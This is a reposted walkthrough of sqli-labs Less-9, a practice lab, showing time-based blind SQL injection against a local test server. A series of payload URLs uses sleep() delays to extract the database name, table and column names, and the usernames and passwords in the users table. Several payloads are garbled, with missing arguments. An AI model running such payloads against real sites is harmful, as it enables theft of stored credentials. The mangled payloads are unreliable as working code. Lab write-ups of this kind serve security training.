Sqli-labs less 9

Source: Internet
Author: User

Less-9

We can see "time-single quotation mark" from the headline, so it is obvious that we should use the delay injection, while the ID parameter is ' processing. Here we approximate the method of time-lapse injection.

Here, use the sleep () function.

Here, because we are using the time delay, the map is meaningless, here only write payload: (right time directly return, incorrect time to wait 5 seconds, only paste the correct)

Guessing database:

Http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If (ASCII (substr () (Database (),) =115,1,sleep (5))--+

Description The first bit is S (ASCII code is 115)

Http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If (ASCII (substr (Database (), 2,1)) =101,1,sleep (5))--+

Note that the first bit is E (ASCII is 101)

....

And so on, we know that the database name is security.

?

Data sheet for guessing security:

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (SUBSTR ((select table_name from Information_schema.tables where Table_schema= ' security ' limit 0,1), =101,1,sleep (5))--+

Guess the first bit of the first data table is e,... By analogy, get emails

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (SUBSTR ((select table_name from Information_schema.tables where Table_schema= ' security ' limit), =114,1,sleep (5))--+

Guess the first bit of the second data table is R,... By analogy, get referers

...

And so on, we can get all the datasheets emails,referers,uagents,users

Guess the columns of the Users table:

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (substr ((select column_name from Information_schema.columns where Table_name= ' users ' limit 0,1), =105,1,sleep (5))--+

Guess the first character of the first column of the Users table is I,

And so on, we get the column name is Id,username,password

?

Guess the value of username:

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (substr ((select username from users limit 0,1)) =68,1,sleep (5)) --+

Guess the first bit of the first line of username

And so on, we get all the contents of the database Username,password

?

The above process is the whole process of using the sleep () function, and of course we can leave the BENCHMARK () function for injection, which can be tested on your own. We're not going to have a demo here.

Sqli-labs less 9

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.